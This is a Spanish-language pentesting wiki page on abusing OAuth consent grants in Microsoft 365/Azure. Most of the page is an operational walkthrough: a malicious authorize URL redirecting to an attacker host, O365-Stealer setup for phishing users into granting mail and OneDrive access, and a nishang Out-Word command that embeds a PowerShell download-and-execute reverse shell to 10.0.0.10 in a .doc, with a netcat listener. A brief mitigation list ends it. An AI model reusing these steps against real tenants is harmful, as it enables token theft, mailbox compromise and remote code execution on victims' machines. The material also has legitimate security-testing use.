Concesiones de consentimiento ilegales
Concesiones de consentimiento ilegales
https://learn.microsoft.com/es-es/security/operations/incident-response-playbook-app-consent
Se refiere al abuso del modelo de consentimiento de OAuth 2.0 para lograr acceso no autorizado a recursos dentro de una organización. Esto ocurre cuando un atacante:
Crea una aplicación maliciosa o manipula una legítima.
Solicita permisos excesivos mediante
scope
de OAuth comoMail.Read
,Files.ReadWrite.All
,User.ReadBasic.All
, etc.Engaña al usuario para que otorgue el consentimiento, a menudo a través de phishing o ingeniería social.
Accede de forma persistente a recursos, incluso después de cambiar contraseñas, gracias al refresh token y al consentimiento delegado.
Cuando un administrador otorga consentimiento a nivel de invitado (tenant-wide), se convierte en una consent grant global — si esto se hace sin revisión o para aplicaciones maliciosas, se considera una concesión ilegal de consentimiento.
> Flujo de explotación
Un atacante podría usar el siguiente flujo:
Redirige a la víctima a una URL como:
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
client_id=attacker-app-id&
response_type=code&
redirect_uri=https://attacker-controlled.com/redirect&
scope=Mail.Read&
prompt=consent
El usuario acepta los permisos.
El atacante obtiene el access token y refresh token y accede a los recursos de la organización.
> Prueba de concepto
Para explotar esta vulnerabilidad se requiere poder crear una aplicación de Azure controlada por el atacante. En esta se añadirán los permisos que se deseen obtener.
La información de la aplicación se incluye en la configuración de la herramienta O365Stealer, que creará un enlace de phishing y será el que se le enviará a la víctima.
>> Creación de una aplicación
Modificar o registrar una nueva aplicación.
Asignarle, por ejemplo los siguientes permisos:
files.readwrite.all
mail.read
mail.send
mailboxsettings.readwrite
notes.read.all
user.read
user.readbasic.all

>> Configuración y ejecución de O365-Stealer
Se añade, por ejemplo, a un servidor xampp la carpeta de o365-stealer y se ejecuta el servidor:

Se configura la herramienta con los valores del Client ID, Client Secret y URL de la aplicación registrada.

Desde el panel de Azure, la información necesaria para la configuración se obtiene desde los siguientes apartados/secciones:

2. Ejecución de la herramienta:

La herramienta genera una URL que será utilizada para el ataque de phishing.
Esta URL puede ser enviada, por ejemplo:
Enviando un email a la víctima.
Enviando la URL a través de un formulario.
Explotando un XSS almacenado.
Etc.
Una vez que la víctima pique en el anzuelo, obtendremos los tokens de acceso, correos, acceso a OneDrive, etc.

Desde el panel de O365-Stealer, podremos obtener la información en ficheros, subir ficheros a OneDrive, crear reglas en Outlook, etc.


>> Creación de un fichero doc malicioso
Con el siguiente script es posible insertar código malicioso en un fichero .doc
:
https://github.com/samratashok/nishang/blob/master/Client/Out-Word.ps1
Out-Word -Payload "powershell iex (New-Object Net.Webclient).downloadstring('http://<IP>/Invoke-PowerShellTcp.ps1');Power -Reverse -IPAddress <IP> -Port <Puerto>" -OutputFile evildoc.doc
Siendo por ejemplo la IP del atacante 10.0.0.10
con el puerto 80
que cuenta con un servicio web que sirve el fichero Invoke-PowerShellTcp.ps1
y el puerto 443
que se encuentra a la escucha con netcat:
Out-Word -Payload "powershell iex (New-Object Net.Webclient).downloadstring('http://10.0.0.10:80/Invoke-PowerShellTcp.ps1');Power -Reverse -IPAddress 10.0.0.10 -Port 443" -OutputFile evildoc.doc
Se pone el puerto 443 a la escucha en la máquina del atacante 10.0.0.10
:
C:\Pentest\Tools\netcat\nc.exe -lvp 443
>> Subida de un fichero doc malicioso a OneDrive
Desde el panel de acciones se puede subir un fichero .doc malicioso a One Drive y esperar hasta obtener la reverse shell.
> Mitigación
Desactivar el consentimiento para usuarios no administradores.
Auditar las aplicaciones consentidas en Azure AD:
Enterprise Applications > Permissions
.Implementar Admin Consent Workflow.
Usar Conditional Access Policies para restringir accesos desde apps desconocidas.
Revisar logs en Azure (AuditLogs, SignIns).
Última actualización
¿Te fue útil?